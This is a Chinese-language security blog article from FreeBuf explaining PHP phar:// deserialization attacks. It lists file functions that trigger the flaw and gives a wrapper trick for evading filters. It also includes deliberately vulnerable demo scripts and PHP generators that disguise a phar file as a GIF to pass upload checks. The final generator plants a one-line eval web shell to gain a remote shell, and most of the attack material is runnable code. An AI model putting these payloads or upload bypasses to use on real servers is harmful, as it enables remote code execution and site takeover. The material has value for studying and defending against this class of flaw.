PHAR反序列化拓展操作總結

2019-06-22 231207人圍觀 ,發現 3 個不明物體 WEB安全

*本文原創作者:cck,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

前言

近些陣子反序列化漏洞橫行,看了幾篇文章,整個漏洞發現過程是非常有意思的,所以希望總結下來,分享給大家一起研究討論,如有不足還請多多指正。

正文

phar RCE

2018年HITCON上,baby cake這一題,涉及到了今年BlackHat大會上的Sam Thomas分享的File Operation Induced Unserialization via the「phar://」Stream Wrapper這個議題,具體可以看這里【傳送門】。它的主要內容是,通過phar://協議對一個phar文件進行文件操作,如file_get_contents,就可以觸發反序列化,從而達成RCE的效果。

因為在phar.c#L618處,其調用了 php_var_unserialize:

if (!php_var_unserialize(metadata, &p, p + zip_metadata_len, &var_hash)) {

因此可以構造一個特殊的phar包,使得代碼能夠被反序列化,從而構造一個POP鏈。這一部分已經常見了,在使用phar://協議讀取文件時,文件會被解析成phar(http://php.net/manual/zh/intro.phar.php)   
解析過程中會觸發php_var_unserialize()函數對meta-data的操作,造成反序列化。

延伸

知道創宇 404 實驗室的研究員 seaii 更為我們指出了所有文件函數均可使用(https://paper.seebug.org/680/):

fileatime / filectime / filemtimestat / fileinode / fileowner / filegroup / filepermsfile / file_get_contents / readfile / `fopen``file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writableparse_ini_fileunlink        copy

在 zsx 師傅的文章又通過 php_stream_open_wrapper 方法的調用函數中,探索出一些新的可用函數!

exif

exif_thumbnailexif_imagetype

gd

imageloadfontimagecreatefrom***

hash

hash_hmac_filehash_filehash_update_filemd5_filesha1_file

file / url

get_meta_tagsget_headers

standard

getimagesizegetimagesizefromstring

zip

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');

Bzip / Gzip

如果 phar://不能出現在頭幾個字符怎么辦?

demo.php?filename=compress.bzip2://phar://upload_file/shell.gif/a

驗證

代碼

<?php
error_reporting(0);
$filename=$_GET['filename'];
if (preg_match("/\bphar\b/A", $filename)) {
    echo "stop hacking!\n";
}
else {
    class comrare
    {
        public $haha = 'haha';

        function __wakeup()
        {
            eval($this->haha);
        }

    }

    imagecreatefromjpeg($_GET['filename']);
}
?>

poc 驗證

<?php
class comrare
{
    public $haha = 'comrarezzzzz';

}
@unlink('shell.phar');
$phar = new Phar("shell.phar"); //后綴名必須為 phar
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$object = new comrare();
//$object ->haha= 'eval(@$_POST[\'a\']);';
$object ->haha= 'phpinfo();';
$phar->setMetadata($object); //將自定義的 meta-data 存入 manifest
$phar->addFromString("a", "a"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();

?>

這個 poc 同時繞過了 gif 限制和 phar 開頭限制,同樣我們可以 getshell 成功!

測試

首先我們自己生成一個 phar 文件來觀察它的結構,php 內置了一個 Phar 類來處理相關操作!

操作前請注意:要將 php.ini 中的 phar.readonly 選項設置為 Off,否則無法生成 phar 文件。

<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后綴名必須為 phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置 stub
$o = new TestObject();
$o -> data='cck';
$phar->setMetadata($o); //將自定義的 meta-data 存入 manifest
$phar->addFromString("test.txt", "test"); //添加要壓縮的文件
//簽名自動計算
$phar->stopBuffering();
?>

運行后會生成一個 phar 文件在當前目錄

我們觀察下它的文件結構

可以明顯的看到 meta-data 是以序列化的形式存儲的。       
有序列化數據必然會有反序列化操作,php 大部分的文件系統函數在通過 phar://偽協議解析 phar 文件時,都會將 meta-data 進行反序列化!

漏洞 php

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>

將 phar 偽造成其他格式的文件

在前面分析 phar 的文件結構時可能會注意到,php 識別 phar 文件是通過其文件頭的 stub,更確切一點來說是__HALT_COMPILER();?>這段代碼,對前面的內容或者后綴名是沒有要求的。那么我們就可以通過添加任意的文件頭+修改后綴名的方式將 phar 文件偽裝成其他格式的文件。

偽造 gif 文件代碼:

<?php
    class TestObject {

    }
    $phar = new Phar('phar.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');   //設置 stub,增加 gif 文件頭
    $phar ->addFromString('test.txt','test');  //添加要壓縮的文件
    $object = new TestObject();
    $object -> data = 'cck';
    $phar -> setMetadata($object);  //將自定義 meta-data 存入 manifest
    $phar -> stopBuffering();
?>

file phar.phar 如下

這種方法可以用于上傳檢測!

利用

在別人復現的基礎上實現了 RCE

條件

phar 文件要能夠上傳到服務器端。

如 file_exists(),fopen(),file_get_contents(),file() 等文件操作的函數

要有可用的魔術方法作為「跳板」。

文件操作函數的參數可控,且:、/、phar 等特殊字符沒有被過濾。

環境文件

upload_file.php,后端檢測文件上傳,文件類型是否為 gif,文件后綴名是否為 gif        

upload_file.html 文件上傳表單

file_un.php 存在 file_exists(),并且存在__destruct()

文件內容

upload_file.php

<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }

upload_file.html

<body>
<form action="http://localhost/upload_file.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>

file_un.php

<?php
$filename=$_GET['filename'];
class AnyClass{
    var $output = 'echo "cck";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

實現流程

首先是根據 file_un.php 寫一個生成 phar 的 php 文件,當然需要繞過 gif,所以需要加 GIF89a,然后我們訪問這個 php 文件后,生成了 phar.phar,修改后綴為 gif,上傳到服務器,然后利用 file_exists,使用 phar://執行代碼

構造代碼

首先用 eval.php 生成執行 phpinfo 的文件

<?php
class AnyClass{
    var $output = 'echo "cck";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

訪問 eval.php,會在當前目錄生成 phar.phar,然后修改后綴 gif

上傳成功,獲得上傳目錄

然后利用 file_un.php。       

payload:filename=phar://upload_file/phar.gif

執行 phpinfo 成功!

RCE

既然代碼能執行成功,又存在命令執行函數,我們就可以實現 RCE 獲得 shell! 我們嘗試上傳一句話木馬,修改后的文件如下:

<?php
class AnyClass{
    var $output = 'echo "cck";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> output= 'eval(@$_POST[\'a\']);';
//$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

同樣的步驟上傳,嘗試連接,成功 getshell!

參考

https://paper.seebug.org/680/

*本文原創作者:cck,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載

發表評論

已有 3 條評論

取消
Loading...

特別推薦

推薦關注

填寫個人信息

姓名
電話
郵箱
公司
行業
職位
css.php 重庆百变王牌走势图